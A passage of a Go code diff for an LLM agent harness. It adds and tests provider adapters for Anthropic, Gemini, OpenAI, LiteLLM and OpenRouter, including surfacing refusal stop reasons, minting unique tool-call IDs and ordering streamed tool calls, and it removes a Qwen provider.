Messages: []llm.Message{{Role: "user", Content: "hello"}},
})
raw, err := json.Marshal(params)
require.NoError(t, err)
assert.Contains(t, string(raw), `"temperature":0`)
}
func TestAdaptiveThinkingModels_TemperatureDropped(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
for _, model := range []string{
"claude-fable-5", "claude-opus-4-7", "claude-opus-4-8",
"claude-opus-5", "claude-sonnet-5",
} {
t.Run(model, func(t *testing.T) {
got := wireJSON(t, p, llm.ChatRequest{
Model: model,
Temperature: 0.7,
Reasoning: llm.ReasoningMedium,
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.NotContains(t, got, `"temperature"`,
"sampling params are removed on these models — sending temperature is a 400")
})
}
}
// TestOpus5AndSonnet5_ThinkByDefault_ReasoningOffSendsDisabled reproduces
// the bug this test guards against: Opus 5 and Sonnet 5 think adaptively
// when `thinking` is omitted (unlike every other adaptive-only model),
// so simply omitting the param to express "reasoning off" leaves
// thinking on. The provider must send an explicit {type:"disabled"}.
func TestOpus5AndSonnet5_ThinkByDefault_ReasoningOffSendsDisabled(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
for _, model := range []string{"claude-opus-5", "claude-sonnet-5"} {
t.Run(model, func(t *testing.T) {
got := wireJSON(t, p, llm.ChatRequest{
Model: model,
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.Contains(t, got, `"thinking":{"type":"disabled"}`,
"Opus 5/Sonnet 5 think by default when thinking is omitted; "+
"reasoning off must send an explicit disabled config")
assert.NotContains(t, got, `"output_config"`)
})
}
}
func TestLegacyThinkingModels_KeepBudgetTokens(t *testing.T) {
p := NewAnthropicProvider("test-key", "")
got := wireJSON(t, p, llm.ChatRequest{
Model: "claude-sonnet-4-5",
Reasoning: llm.ReasoningHigh,
Messages: []llm.Message{{Role: "user", Content: "hi"}},
})
assert.Contains(t, got, `"budget_tokens":16384`,
"pre-4.7 models keep the enabled+budget_tokens config")
assert.NotContains(t, got, `"output_config"`)
}
// TestAnthropicStream_RefusalStopReasonSurfaced reproduces the Claude
// Fable 5 classifier refusal: HTTP 200, a message_delta carrying
// stop_reason=refusal + stop_details.category, and NO content blocks.
// The parser previously dropped stop_reason entirely, so the runtime
// saw an empty-but-successful turn and the user saw a silent nothing.
func TestAnthropicStream_RefusalStopReasonSurfaced(t *testing.T) {
const sseBody = `event: message_start
data: {"type":"message_start","message":{"id":"msg_r","type":"message","role":"assistant","content":[],"model":"claude-fable-5","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":29,"output_tokens":0}}}
event: message_delta
data: {"type":"message_delta","delta":{"stop_reason":"refusal","stop_sequence":null,"stop_details":{"type":"refusal","category":"bio","explanation":null}},"usage":{"output_tokens":4}}
event: message_stop
data: {"type":"message_stop"}
`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/event-stream")
_, _ = w.Write([]byte(sseBody))
}))
t.Cleanup(srv.Close)
p := NewAnthropicProvider("test-key", srv.URL)
stream, err := p.ChatStream(context.Background(), llm.ChatRequest{Model: "claude-fable-5"})
require.NoError(t, err)
var done *llm.ChatEvent
for ev := range stream {
if ev.Type == llm.EventDone {
ev := ev
done = &ev
}
}
require.NotNil(t, done, "stream must emit EventDone")
assert.Equal(t, "refusal", done.StopReason)
assert.Equal(t, "bio", done.StopCategory)
}
// Normal end_turn streams must carry the stop reason too (and no category).
func TestAnthropicStream_EndTurnStopReason(t *testing.T) {
const sseBody = `event: message_start
data: {"type":"message_start","message":{"id":"msg_n","type":"message","role":"assistant","content":[],"model":"claude-fable-5","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0}}}
event: content_block_start
data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}}
event: content_block_delta
data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"hi"}}
event: content_block_stop
data: {"type":"content_block_stop","index":0}
event: message_delta
data: {"type":"message_delta","delta":{"stop_reason":"end_turn","stop_sequence":null},"usage":{"output_tokens":2}}
event: message_stop
data: {"type":"message_stop"}
`
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/event-stream")
_, _ = w.Write([]byte(sseBody))
}))
t.Cleanup(srv.Close)
p := NewAnthropicProvider("test-key", srv.URL)
stream, err := p.ChatStream(context.Background(), llm.ChatRequest{Model: "claude-fable-5"})
require.NoError(t, err)
var done *llm.ChatEvent
for ev := range stream {
if ev.Type == llm.EventDone {
ev := ev
done = &ev
}
}
require.NotNil(t, done)
assert.Equal(t, "end_turn", done.StopReason)
assert.Empty(t, done.StopCategory)
}
func TestAnthropicInputAccumulation(t *testing.T) {
var b strings.Builder
for _, part := range []string{`{"a"`, `:1`, `}`} {
b.WriteString(part)
}
require.Equal(t, `{"a":1}`, b.String())
}
+54 -10
View File
@@ -2,10 +2,15 @@ package gemini
import (
"context"
"crypto/rand"
"encoding/binary"
"encoding/hex"
"encoding/json"
"fmt"
"log/slog"
"os"
"strings"
"time"
"google.golang.org/genai"
"github.com/sausheong/harness/llm"
@@ -182,6 +187,8 @@ func (p *GeminiProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
go func() {
defer close(events)
var lastUsage *llm.Usage
for resp, err := range p.client.Models.GenerateContentStream(ctx, model, contents, config) {
if err != nil {
events <- llm.ChatEvent{Type: llm.EventError, Error: err}
@@ -189,13 +196,9 @@ func (p *GeminiProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
}
if resp.UsageMetadata != nil {
events <- llm.ChatEvent{
Type: llm.EventDone,
Usage: &llm.Usage{
InputTokens: int(resp.UsageMetadata.PromptTokenCount),
OutputTokens: int(resp.UsageMetadata.CandidatesTokenCount),
},
}
lastUsage = updateUsage(lastUsage,
int(resp.UsageMetadata.PromptTokenCount),
int(resp.UsageMetadata.CandidatesTokenCount))
}
for _, cand := range resp.Candidates {
@@ -215,9 +218,25 @@ func (p *GeminiProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
if err != nil {
argsJSON = []byte("{}")
}
// Gemini's FunctionCall.ID is optional and is
// frequently empty (single, non-parallel calls
// commonly omit it). Falling back to fc.Name is
// wrong on two counts: it isn't a valid
// provider-neutral tool-call ID shape, and it
// isn't unique — two calls to the same tool in
// one turn, or the same tool called again later
// in the conversation (routine for a coding
// agent re-reading files), collide on the same
// ID. When that history is later replayed to
// Anthropic on a routing switch, duplicate
// tool_use ids across the conversation are
// rejected with a 400. Mint a synthetic
// toolu_-shaped ID instead, matching Anthropic's
// own ID shape so a later replay to Anthropic
// looks like any other tool_use id.
id := fc.ID
if id == "" {
id = fc.Name
id = syntheticToolCallID()
}
events <- llm.ChatEvent{
Type: llm.EventToolCallStart,
@@ -240,12 +259,37 @@ func (p *GeminiProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
}
// Ensure a Done event is always sent
events <- llm.ChatEvent{Type: llm.EventDone}
events <- llm.ChatEvent{Type: llm.EventDone, Usage: lastUsage}
}()
return events, nil
}
// updateUsage returns a *llm.Usage carrying the latest cumulative counts.
// Gemini sends cumulative usage on multiple chunks; we keep only the last and
// emit a single EventDone at stream end (mirrors the OpenAI provider's lastUsage).
func updateUsage(_ *llm.Usage, prompt, candidates int) *llm.Usage {
return &llm.Usage{InputTokens: prompt, OutputTokens: candidates}
}
// syntheticToolCallID mints a unique, Anthropic-shaped tool-call ID
// ("toolu_" + 16 hex chars) for Gemini function calls that arrive with
// no ID of their own. Uniqueness (not just shape) is the point: a
// name-based fallback collides whenever the same tool is called more
// than once in a conversation, which produces duplicate tool_use ids if
// that history is later replayed to Anthropic. Falls back to a
// time+PID-derived suffix if crypto/rand is unavailable — still unique
// within one process lifetime, which is all a single conversation needs.
func syntheticToolCallID() string {
b := make([]byte, 8)
if _, err := rand.Read(b); err == nil {
return "toolu_" + hex.EncodeToString(b)
}
mix := uint64(time.Now().UnixNano()) ^ uint64(os.Getpid())
binary.BigEndian.PutUint64(b, mix)
return "toolu_" + hex.EncodeToString(b)
}
// geminiUnsupportedFields are JSON Schema fields Gemini's "OpenAPI 3.0
// subset" rejects. This is the broadest strip set across the four
// providers — most of the cross-provider portability gap shows up here.
@@ -295,7 +339,7 @@ func geminiSupportsThinking(model string) bool {
}
// geminiResolveSystemPrompt returns the effective system prompt string,
// preferring SystemPromptParts when present. Mirrors the OpenAI/Qwen
// preferring SystemPromptParts when present. Mirrors the OpenAI
// resolution path but the per-provider helper avoids importing the
// genai SDK in test code.
func geminiResolveSystemPrompt(req llm.ChatRequest) string {
+29
View File
@@ -1,6 +1,7 @@
package gemini
import (
"strings"
"testing"
"github.com/stretchr/testify/require"
@@ -24,3 +25,31 @@ func TestGeminiResolveSystemPromptEmpty(t *testing.T) {
got := geminiResolveSystemPrompt(llm.ChatRequest{})
require.Equal(t, "", got)
}
func TestGeminiUsageBuffer_KeepsLast(t *testing.T) {
var last *llm.Usage
last = updateUsage(last, 10, 5)
last = updateUsage(last, 20, 9) // final cumulative
require.NotNil(t, last)
require.Equal(t, 20, last.InputTokens)
require.Equal(t, 9, last.OutputTokens)
}
// TestSyntheticToolCallID_UniqueAndAnthropicShaped guards against the bug
// where an empty Gemini FunctionCall.ID fell back to the function name.
// That fallback isn't a valid provider-neutral tool-call ID shape, and
// worse, it isn't unique: two calls to the same tool (parallel calls, or
// the same tool called again later in a conversation — routine for a
// coding agent re-reading files) collided on one ID. When that history
// was later replayed to Anthropic on a routing switch, the duplicate
// tool_use ids were rejected with a 400.
func TestSyntheticToolCallID_UniqueAndAnthropicShaped(t *testing.T) {
seen := make(map[string]bool)
for range 100 {
id := syntheticToolCallID()
require.True(t, strings.HasPrefix(id, "toolu_"),
"synthetic ID must be shaped like an Anthropic tool_use id so a later replay to Anthropic is accepted")
require.False(t, seen[id], "synthetic IDs must be unique across calls in the same process")
seen[id] = true
}
}
+19
View File
@@ -0,0 +1,19 @@
// Package litellm provides an llm.LLMProvider for a self-hosted LiteLLM
// proxy. LiteLLM speaks the OpenAI chat-completions wire format and
// itself routes to dozens of underlying vendors, so this package adds no
// new request/stream-translation code of its own — it's a thin
// constructor around harness's existing OpenAI-compatible support.
package litellm
import "github.com/sausheong/harness/providers/openai"
// NewLiteLLMProvider returns an OpenAI-compatible provider pointed at
// baseURL, a self-hosted LiteLLM proxy endpoint. Unlike OpenRouter,
// LiteLLM has no public default endpoint — callers must supply a
// non-empty baseURL (cmd/hand's buildProvider, for example, rejects an
// empty one with a clear error before ever reaching here).
// kind="openai-compatible" suppresses reasoning_effort, since not every
// model LiteLLM routes a request to is guaranteed to support it.
func NewLiteLLMProvider(apiKey, baseURL string) *openai.OpenAIProvider {
return openai.NewOpenAIProviderWithKind(apiKey, baseURL, "openai-compatible")
}
+33
View File
@@ -0,0 +1,33 @@
package litellm
import (
"context"
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/llm"
)
// TestNewLiteLLMProvider_HitsGivenBaseURL confirms the provider actually
// targets the baseURL it was constructed with, and that a streamed
// response comes back through it — not re-testing OpenAI wire-format
// translation itself (already covered by providers/openai's own tests),
// just that this thin constructor wires the base URL through correctly.
func TestNewLiteLLMProvider_HitsGivenBaseURL(t *testing.T) {
var hit bool
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hit = true
w.Header().Set("Content-Type", "text/event-stream")
_, _ = w.Write([]byte("data: [DONE]\n\n"))
}))
t.Cleanup(srv.Close)
p := NewLiteLLMProvider("test-key", srv.URL+"/v1")
stream, err := p.ChatStream(context.Background(), llm.ChatRequest{SystemPrompt: "hi"})
require.NoError(t, err)
for range stream {
}
require.True(t, hit, "provider did not hit the configured baseURL")
}
+38 -19
View File
@@ -271,11 +271,6 @@ func (p *OpenAIProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
defer stream.Close()
// Track tool calls being built up across deltas
type pendingTC struct {
id string
name string
argsJSON string
}
toolCalls := make(map[int]*pendingTC)
var lastUsage *llm.Usage
@@ -337,25 +332,13 @@ func (p *OpenAIProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
}
}
if tc.Function.Arguments != "" {
pending.argsJSON += tc.Function.Arguments
pending.args.WriteString(tc.Function.Arguments)
}
}
// Finish reason
if choice.FinishReason == openai.FinishReasonToolCalls || choice.FinishReason == openai.FinishReasonStop {
// Emit completed tool calls
for _, tc := range toolCalls {
if tc.name != "" {
events <- llm.ChatEvent{
Type: llm.EventToolCallDone,
ToolCall: &llm.ToolCall{
ID: tc.id,
Name: tc.name,
Input: json.RawMessage(tc.argsJSON),
},
}
}
}
emitToolCalls(events, toolCalls)
}
}
}
@@ -366,6 +349,42 @@ func (p *OpenAIProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<
return events, nil
}
// pendingTC accumulates a single streamed tool call across deltas. The
// streamed tool-call index is the map key in toolCalls; the id, name, and
// arguments arrive in separate chunks.
type pendingTC struct {
id string
name string
args strings.Builder
}
// emitToolCalls sends EventToolCallDone for each completed tool call in
// ascending index order. The map key is the streamed tool-call index;
// iterating in order keeps the assistant message's tool_use block order
// deterministic across turns so the prompt cache stays warm.
func emitToolCalls(events chan<- llm.ChatEvent, toolCalls map[int]*pendingTC) {
maxIdx := -1
for idx := range toolCalls {
if idx > maxIdx {
maxIdx = idx
}
}
for idx := 0; idx <= maxIdx; idx++ {
tc, ok := toolCalls[idx]
if !ok || tc.name == "" {
continue
}
events <- llm.ChatEvent{
Type: llm.EventToolCallDone,
ToolCall: &llm.ToolCall{
ID: tc.id,
Name: tc.name,
Input: json.RawMessage(tc.args.String()),
},
}
}
}
// openaiUnsupportedFields are JSON Schema fields the OpenAI function-
// calling schema rejects. anyOf/oneOf/format are accepted and kept.
var openaiUnsupportedFields = []string{"$ref", "definitions"}
+19
View File
@@ -73,3 +73,22 @@ func TestOpenAIChatStreamPartsBeatString(t *testing.T) {
require.GreaterOrEqual(t, len(captured.Messages), 1)
require.Equal(t, "new", captured.Messages[0].Content)
}
func TestEmitToolCalls_OrderedByIndex(t *testing.T) {
mk := func(id, name string) *pendingTC {
p := &pendingTC{id: id, name: name}
p.args.WriteString("{}")
return p
}
toolCalls := map[int]*pendingTC{2: mk("c", "third"), 0: mk("a", "first"), 1: mk("b", "second")}
ch := make(chan llm.ChatEvent, 10)
emitToolCalls(ch, toolCalls)
close(ch)
var ids []string
for ev := range ch {
if ev.Type == llm.EventToolCallDone {
ids = append(ids, ev.ToolCall.ID)
}
}
require.Equal(t, []string{"a", "b", "c"}, ids, "tool calls must emit in index order")
}
+23
View File
@@ -0,0 +1,23 @@
// Package openrouter provides an llm.LLMProvider for OpenRouter, an
// aggregator that fronts hundreds of underlying models behind one
// OpenAI-compatible endpoint. Like providers/litellm, this adds no new
// request/stream-translation code of its own — it's a thin constructor
// around harness's existing OpenAI-compatible support.
package openrouter
import "github.com/sausheong/harness/providers/openai"
// DefaultBaseURL is OpenRouter's public API endpoint, used when
// NewOpenRouterProvider is called with an empty baseURL.
const DefaultBaseURL = "https://openrouter.ai/api/v1"
// NewOpenRouterProvider returns an OpenAI-compatible provider pointed at
// baseURL, or DefaultBaseURL when baseURL is empty. kind="openai-compatible"
// suppresses reasoning_effort, since OpenRouter's underlying models don't
// uniformly support it.
func NewOpenRouterProvider(apiKey, baseURL string) *openai.OpenAIProvider {
if baseURL == "" {
baseURL = DefaultBaseURL
}
return openai.NewOpenAIProviderWithKind(apiKey, baseURL, "openai-compatible")
}
+45
View File
@@ -0,0 +1,45 @@
package openrouter
import (
"context"
"net/http"
"net/http/httptest"
"testing"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/llm"
)
func TestDefaultBaseURL(t *testing.T) {
require.Equal(t, "https://openrouter.ai/api/v1", DefaultBaseURL)
}
// TestNewOpenRouterProvider_HitsGivenBaseURL confirms a custom baseURL
// overrides the default and is actually what the provider talks to.
func TestNewOpenRouterProvider_HitsGivenBaseURL(t *testing.T) {
var hit bool
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
hit = true
w.Header().Set("Content-Type", "text/event-stream")
_, _ = w.Write([]byte("data: [DONE]\n\n"))
}))
t.Cleanup(srv.Close)
p := NewOpenRouterProvider("test-key", srv.URL+"/v1")
stream, err := p.ChatStream(context.Background(), llm.ChatRequest{SystemPrompt: "hi"})
require.NoError(t, err)
for range stream {
}
require.True(t, hit, "provider did not hit the configured baseURL")
}
// TestNewOpenRouterProvider_EmptyBaseURLDoesNotPanic confirms the empty
// -> DefaultBaseURL fallback path constructs a usable provider (the
// actual outbound host isn't inspectable from outside the openai
// package — OpenAIProvider's client config is unexported — so this
// checks the fallback doesn't panic or return nil, and DefaultBaseURL's
// own value is asserted separately above).
func TestNewOpenRouterProvider_EmptyBaseURLDoesNotPanic(t *testing.T) {
p := NewOpenRouterProvider("test-key", "")
require.NotNil(t, p)
}
-350
View File
@@ -1,350 +0,0 @@
package qwen
import (
"context"
"encoding/base64"
"encoding/json"
"errors"
"fmt"
"io"
"log/slog"
"strings"
openai "github.com/sashabaranov/go-openai"
"github.com/sausheong/harness/llm"
)
// QwenProvider implements llm.LLMProvider using the Qwen Chat Completions API.
// Qwen uses an OpenAI-compatible API, so we reuse the go-openai client.
type QwenProvider struct {
client *openai.Client
}
// NewQwenProvider creates a new Qwen LLM provider.
// The Qwen API is OpenAI-compatible, so we use the go-openai client
// with Qwen's base URL.
func NewQwenProvider(apiKey, baseURL string) *QwenProvider {
cfg := openai.DefaultConfig(apiKey)
if baseURL != "" {
cfg.BaseURL = baseURL
} else {
// Default to Qwen's official API endpoint
cfg.BaseURL = "https://dashscope-intl.aliyuncs.com/compatible-mode/v1"
}
client := openai.NewClientWithConfig(cfg)
return &QwenProvider{client: client}
}
func (p *QwenProvider) Models() []llm.ModelInfo {
return []llm.ModelInfo{
{ID: "qwen-plus", Name: "Qwen Plus", Provider: "qwen"},
{ID: "qwen-turbo", Name: "Qwen Turbo", Provider: "qwen"},
{ID: "qwen-max", Name: "Qwen Max", Provider: "qwen"},
{ID: "qwen-coder-plus", Name: "Qwen Coder Plus", Provider: "qwen"},
{ID: "qwen-vl-plus", Name: "Qwen VL Plus", Provider: "qwen"},
}
}
func (p *QwenProvider) ChatStream(ctx context.Context, req llm.ChatRequest) (<-chan llm.ChatEvent, error) {
// Build messages
msgs := make([]openai.ChatCompletionMessage, 0, len(req.Messages)+1)
if sysPrompt := qwenResolveSystemPrompt(req); sysPrompt != "" {
msgs = append(msgs, openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleSystem,
Content: sysPrompt,
})
}
for _, m := range req.Messages {
switch m.Role {
case "user":
if m.ToolCallID != "" {
if len(m.Images) > 0 {
// Tool result with images: use multi-content parts
var parts []openai.ChatMessagePart
for _, img := range m.Images {
encoded := base64.StdEncoding.EncodeToString(img.Data)
dataURI := fmt.Sprintf("data:%s;base64,%s", img.MimeType, encoded)
parts = append(parts, openai.ChatMessagePart{
Type: openai.ChatMessagePartTypeImageURL,
ImageURL: &openai.ChatMessageImageURL{
URL: dataURI,
Detail: openai.ImageURLDetailAuto,
},
})
}
if m.Content != "" {
parts = append(parts, openai.ChatMessagePart{
Type: openai.ChatMessagePartTypeText,
Text: m.Content,
})
}
msgs = append(msgs, openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleTool,
MultiContent: parts,
ToolCallID: m.ToolCallID,
})
} else {
msgs = append(msgs, openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleTool,
Content: m.Content,
ToolCallID: m.ToolCallID,
})
}
} else if len(m.Images) > 0 {
var parts []openai.ChatMessagePart
for _, img := range m.Images {
encoded := base64.StdEncoding.EncodeToString(img.Data)
dataURI := fmt.Sprintf("data:%s;base64,%s", img.MimeType, encoded)
parts = append(parts, openai.ChatMessagePart{
Type: openai.ChatMessagePartTypeImageURL,
ImageURL: &openai.ChatMessageImageURL{
URL: dataURI,
Detail: openai.ImageURLDetailAuto,
},
})
}
if m.Content != "" {
parts = append(parts, openai.ChatMessagePart{
Type: openai.ChatMessagePartTypeText,
Text: m.Content,
})
}
msgs = append(msgs, openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleUser,
MultiContent: parts,
})
} else {
msgs = append(msgs, openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleUser,
Content: m.Content,
})
}
case "assistant":
msg := openai.ChatCompletionMessage{
Role: openai.ChatMessageRoleAssistant,
Content: m.Content,
}
for _, tc := range m.ToolCalls {
msg.ToolCalls = append(msg.ToolCalls, openai.ToolCall{
ID: tc.ID,
Type: openai.ToolTypeFunction,
Function: openai.FunctionCall{
Name: tc.Name,
Arguments: string(tc.Input),
},
})
}
msgs = append(msgs, msg)
}
}
// Build tools
var tools []openai.Tool
for _, t := range req.Tools {
var params any
if err := json.Unmarshal(t.Parameters, &params); err != nil {
params = map[string]any{"type": "object", "properties": map[string]any{}}
}
tools = append(tools, openai.Tool{
Type: openai.ToolTypeFunction,
Function: &openai.FunctionDefinition{
Name: t.Name,
Description: t.Description,
Parameters: params,
},
})
}
model := req.Model
if model == "" {
model = "qwen-plus"
}
maxTokens := req.MaxTokens
if maxTokens == 0 {
maxTokens = 4096
}
openaiReq := openai.ChatCompletionRequest{
Model: model,
Messages: msgs,
MaxTokens: maxTokens,
Stream: true,
}
if len(tools) > 0 {
openaiReq.Tools = tools
}
if req.Temperature > 0 {
openaiReq.Temperature = float32(req.Temperature)
}
if enabled, diag, ok := p.BuildEnableThinking(model, req.Reasoning); ok {
// TODO: Qwen DashScope expects a custom top-level "enable_thinking"
// JSON field that go-openai v1.41 does not expose via any
// ExtraBody/RawJSON mechanism. Wiring it requires either upgrading
// to a go-openai version with custom-field support or adding a
// custom HTTP roundtripper. Tracked as a Phase 2 follow-up.
_ = enabled
_ = diag
slog.Info("qwen thinking requested",
"model", model,
"requested", string(req.Reasoning),
"clamped_to_bool", true,
"reason", diag.Reason,
"sdk_limitation", "enable_thinking not yet wired to wire format")
} else if req.Reasoning != llm.ReasoningOff {
slog.Info("reasoning ignored",
"provider", "qwen",
"model", model,
"requested", string(req.Reasoning),
"reason", "model does not support thinking")
}
stream, err := p.client.CreateChatCompletionStream(ctx, openaiReq)
if err != nil {
return nil, err
}
events := make(chan llm.ChatEvent, 100)
go func() {
defer close(events)
defer stream.Close()
// Track tool calls being built up across deltas
type pendingTC struct {
id string
name string
argsJSON string
}
toolCalls := make(map[int]*pendingTC)
for {
resp, err := stream.Recv()
if errors.Is(err, io.EOF) {
break
}
if err != nil {
events <- llm.ChatEvent{Type: llm.EventError, Error: err}
return
}
for _, choice := range resp.Choices {
delta := choice.Delta
// Text content
if delta.Content != "" {
events <- llm.ChatEvent{
Type: llm.EventTextDelta,
Text: delta.Content,
}
}
// Tool calls
for _, tc := range delta.ToolCalls {
idx := 0
if tc.Index != nil {
idx = *tc.Index
}
pending, exists := toolCalls[idx]
if !exists {
pending = &pendingTC{}
toolCalls[idx] = pending
}
if tc.ID != "" {
pending.id = tc.ID
}
if tc.Function.Name != "" {
pending.name = tc.Function.Name
events <- llm.ChatEvent{
Type: llm.EventToolCallStart,
ToolCall: &llm.ToolCall{
ID: pending.id,
Name: pending.name,
},
}
}
if tc.Function.Arguments != "" {
pending.argsJSON += tc.Function.Arguments
}
}
// Finish reason
if choice.FinishReason == openai.FinishReasonToolCalls || choice.FinishReason == openai.FinishReasonStop {
// Emit completed tool calls
for _, tc := range toolCalls {
if tc.name != "" {
events <- llm.ChatEvent{
Type: llm.EventToolCallDone,
ToolCall: &llm.ToolCall{
ID: tc.id,
Name: tc.name,
Input: json.RawMessage(tc.argsJSON),
},
}
}
}
}
}
}
events <- llm.ChatEvent{Type: llm.EventDone}
}()
return events, nil
}
// NormalizeToolSchema strips $ref and definitions from each tool's
// JSON Schema. Qwen DashScope tracks the OpenAI function-calling
// shape, so the same restricted JSON Schema subset applies (and the
// same openaiUnsupportedFields list is reused).
func (p *QwenProvider) NormalizeToolSchema(tools []llm.ToolDef) ([]llm.ToolDef, []llm.Diagnostic) {
return llm.ApplyStripList(tools, []string{"$ref", "definitions"})
}
// BuildEnableThinking maps a llm.ReasoningMode to Qwen's enable_thinking
// boolean. Returns (false, empty diag, false) when off or the model
// doesn't support thinking. For any non-off mode on a supported model,
// returns (true, clamped diag, true) — the boolean toggle loses the
// requested low/medium/high granularity, so the diag always fires.
func (p *QwenProvider) BuildEnableThinking(model string, mode llm.ReasoningMode) (bool, llm.Diagnostic, bool) {
if mode == llm.ReasoningOff {
return false, llm.Diagnostic{}, false
}
if !qwenSupportsThinking(model) {
return false, llm.Diagnostic{}, false
}
return true, llm.Diagnostic{
Action: "clamped",
Reason: "qwen reasoning is boolean; granularity ignored",
}, true
}
// qwenSupportsThinking returns true for Qwen models that support the
// enable_thinking parameter. Conservative — unknown IDs default to
// false (only QwQ and Qwen3 family models accept this field).
func qwenSupportsThinking(model string) bool {
prefixes := []string{"qwen-qwq", "qwen3"}
for _, prefix := range prefixes {
if strings.HasPrefix(model, prefix) {
return true
}
}
return false
}
// qwenResolveSystemPrompt returns the effective system prompt string,
// preferring SystemPromptParts when present. Mirrors the OpenAI/Gemini
// resolution helpers.
func qwenResolveSystemPrompt(req llm.ChatRequest) string {
if len(req.SystemPromptParts) > 0 {
return llm.JoinSystemPromptParts(req.SystemPromptParts)
}
return req.SystemPrompt
}
-26
View File
@@ -1,26 +0,0 @@
package qwen
import (
"testing"
"github.com/stretchr/testify/require"
"github.com/sausheong/harness/llm"
)
func TestQwenResolveSystemPromptPrefersParts(t *testing.T) {
got := qwenResolveSystemPrompt(llm.ChatRequest{
SystemPrompt: "legacy",
SystemPromptParts: []llm.SystemPromptPart{{Text: "new-a"}, {Text: "new-b"}},
})
require.Equal(t, "new-a\nnew-b", got)
}
func TestQwenResolveSystemPromptFallback(t *testing.T) {
got := qwenResolveSystemPrompt(llm.ChatRequest{SystemPrompt: "legacy"})
require.Equal(t, "legacy", got)
}
func TestQwenResolveSystemPromptEmpty(t *testing.T) {
got := qwenResolveSystemPrompt(llm.ChatRequest{})
require.Equal(t, "", got)
}
+63 -7
View File
@@ -246,7 +246,7 @@ func TestPruneToolResults(t *testing.T) {
}
// Empty spillConfig → legacy in-place truncation path.
pruneToolResults(msgs, 10000, spillConfig{})
pruneToolResults(msgs, 10000, spillConfig{}, nil)
// User message should be unchanged
assert.Equal(t, "hello", msgs[0].Content)
@@ -261,7 +261,7 @@ func TestPruneToolResultsShort(t *testing.T) {
{Role: "user", Content: "short output", ToolCallID: "tc_1"},
}
pruneToolResults(msgs, 10000, spillConfig{})
pruneToolResults(msgs, 10000, spillConfig{}, nil)
assert.Equal(t, "short output", msgs[0].Content)
}
@@ -279,7 +279,7 @@ func TestPruneToolResultsNewlineBoundary(t *testing.T) {
{Role: "user", Content: content, ToolCallID: "tc_1"},
}
pruneToolResults(msgs, 10000, spillConfig{})
pruneToolResults(msgs, 10000, spillConfig{}, nil)
// Should be truncated and contain the truncation marker
truncated := msgs[0].Content
@@ -298,7 +298,7 @@ func TestPruneToolResultsSpillsToDisk(t *testing.T) {
{Role: "user", Content: original, ToolCallID: "tc_42"},
}
pruneToolResults(msgs, 10000, spillConfig{Workspace: workspace, SessionKey: "sess_abc"})
pruneToolResults(msgs, 10000, spillConfig{Workspace: workspace, SessionKey: "sess_abc"}, nil)
// Message rewritten to head + spill marker pointing at the file.
got := msgs[0].Content
@@ -324,14 +324,14 @@ func TestPruneToolResultsIdempotentAfterSpill(t *testing.T) {
{Role: "user", Content: strings.Repeat("b", 20000), ToolCallID: "tc_99"},
}
pruneToolResults(msgs, 10000, cfg)
pruneToolResults(msgs, 10000, cfg, nil)
afterFirst := msgs[0].Content
require.Contains(t, afterFirst, spillMarker)
// Second call: marker is present, so the message must be untouched.
// Mutating it (e.g. spilling again or appending another marker)
// would silently grow the prefill across turns and burn cache.
pruneToolResults(msgs, 10000, cfg)
pruneToolResults(msgs, 10000, cfg, nil)
assert.Equal(t, afterFirst, msgs[0].Content)
}
@@ -349,7 +349,7 @@ func TestPruneToolResultsFallsBackToTruncationWhenSpillFails(t *testing.T) {
{Role: "user", Content: strings.Repeat("c", 20000), ToolCallID: "tc_fail"},
}
pruneToolResults(msgs, 10000, spillConfig{Workspace: workspace, SessionKey: "sess_fail"})
pruneToolResults(msgs, 10000, spillConfig{Workspace: workspace, SessionKey: "sess_fail"}, nil)
got := msgs[0].Content
assert.Less(t, len(got), 20000, "fallback must still bound the message")
@@ -357,6 +357,31 @@ func TestPruneToolResultsFallsBackToTruncationWhenSpillFails(t *testing.T) {
assert.NotContains(t, got, spillMarker, "spilled marker must not appear when write failed")
}
func TestPruneToolResultsSpillsOncePerID(t *testing.T) {
workspace := t.TempDir()
cfg := spillConfig{Workspace: workspace, SessionKey: "sess_once"}
spilled := map[string]bool{}
big := strings.Repeat("x", 50000)
mk := func() []llm.Message {
return []llm.Message{{ToolCallID: "call_big", Content: big}}
}
m1 := mk()
pruneToolResults(m1, 10000, cfg, spilled)
require.Contains(t, m1[0].Content, spillMarker)
spillPath := filepath.Join(workspace, ".harness", "spill", "sess_once", "call_big.txt")
require.FileExists(t, spillPath)
require.True(t, spilled["call_big"], "ID recorded as spilled")
require.NoError(t, os.Remove(spillPath))
m2 := mk()
pruneToolResults(m2, 10000, cfg, spilled)
require.Contains(t, m2[0].Content, spillMarker, "message still rewritten to the marker")
require.NoFileExists(t, spillPath, "turn 2 must NOT re-write the spill file (idempotent via spilled set)")
}
// --- Runtime tests ---
func TestRuntimeRun(t *testing.T) {
@@ -871,6 +896,37 @@ func TestRun_AbortMidDispatchProducesPairedSession(t *testing.T) {
}
}
